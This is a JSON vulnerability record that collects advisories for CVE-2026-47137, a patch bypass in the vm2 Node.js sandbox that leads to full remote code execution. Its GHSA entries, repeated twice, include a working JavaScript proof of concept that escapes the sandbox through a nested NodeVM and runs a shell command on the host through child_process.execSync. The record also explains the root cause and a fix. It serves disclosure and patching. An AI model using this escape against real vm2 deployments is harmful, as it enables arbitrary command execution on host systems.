{"id":"CVE-2026-47137","aliases":["CLSA-2026-1787860907","EUVD-2026-36443","GHSA-2cm2-m3w5-gp2f","GHSA-m4wx-m65x-ghrr","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-47137"],"status":"published","title":"vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00382,"percentile":0.32495,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-913"],"published":"2026-05-29T17:50:22Z","modified":"2026-10-28T02:30:53Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.4"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.11.3-aikido.1","3.11.3-aikido.2","3.9.17-aikido.13","3.11.3-aikido.3","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.4","3.9.7-aikido.5","3.9.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.11.3-root.io.1","3.11.3-root.io.2","3.9.17-root.io.13","3.11.3-root.io.3","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.4","3.9.7-root.io.5","3.9.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.3"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.11.3-aikido.1"},{"fixed":"3.11.3-aikido.2"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.11.3-aikido.3"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.4"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.11.3-root.io.1"},{"fixed":"3.11.3-root.io.2"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.11.3-root.io.3"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.4"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/advisories/GHSA-g644-9gfx-q4q4","tags":["x_refsource_MISC","advisory"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47137","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m4wx-m65x-ghrr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47137.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47137","title":"vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:15:34.795Z","modified":"2026-06-13T03:55:56.787Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T13:36:51.6229Z"}],"euvd":[{"id":"EUVD-2026-36443","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:15:34Z","modified":"2026-06-13T03:55:56Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:20:43.222Z"}],"ghsa":[{"id":"GHSA-m4wx-m65x-ghrr","title":"vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE","description":"## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 — the security check\nif (options.nesting === true \u0026\u0026 options.require === false) {\n    throw new VMError('...');\n}\n// nodevm.js:280 — the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false → FALSE → check skipped\n//   - Line 280: requireOpts = false → same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require('vm2')` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require('vm2');\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require('vm2');\n  const inner = new NodeVM({\n    require: { builtin: ['child_process'] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'exploit.js'\n  );\n`, 'exploit.js');\n\nconsole.log(result); // prints host uid/gid — full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true \u0026\u0026 !options.require) {\n    throw new VMError('...');\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true \u0026\u0026 !requireOpts) {\n    throw new VMError('...');\n}\n```","status":"published","published":"2026-05-29T17:50:22Z","modified":"2026-06-12T20:52:53Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-47137","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T15:16:28.137Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:12:23.846948Z"}],"osv":[{"id":"CVE-2026-47137","title":"vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:15:34.795Z","modified":"2026-10-28T02:30:53.84074467Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-m4wx-m65x-ghrr","title":"vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE","description":"## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 — the security check\nif (options.nesting === true \u0026\u0026 options.require === false) {\n    throw new VMError('...');\n}\n// nodevm.js:280 — the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false → FALSE → check skipped\n//   - Line 280: requireOpts = false → same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require('vm2')` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require('vm2');\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require('vm2');\n  const inner = new NodeVM({\n    require: { builtin: ['child_process'] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'exploit.js'\n  );\n`, 'exploit.js');\n\nconsole.log(result); // prints host uid/gid — full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true \u0026\u0026 !options.require) {\n    throw new VMError('...');\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true \u0026\u0026 !requireOpts) {\n    throw new VMError('...');\n}\n```","status":"published","published":"2026-05-29T17:50:22Z","modified":"2026-07-08T08:14:40.607171042Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:46:51.463834Z"},{"id":"ROOT-APP-NPM-CVE-2026-47137","title":"CVE-2026-47137 in vm2 - Patched by Root","description":"Root has patched CVE-2026-47137 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-30T06:02:29Z","modified":"2026-09-30T07:15:02.850366945Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}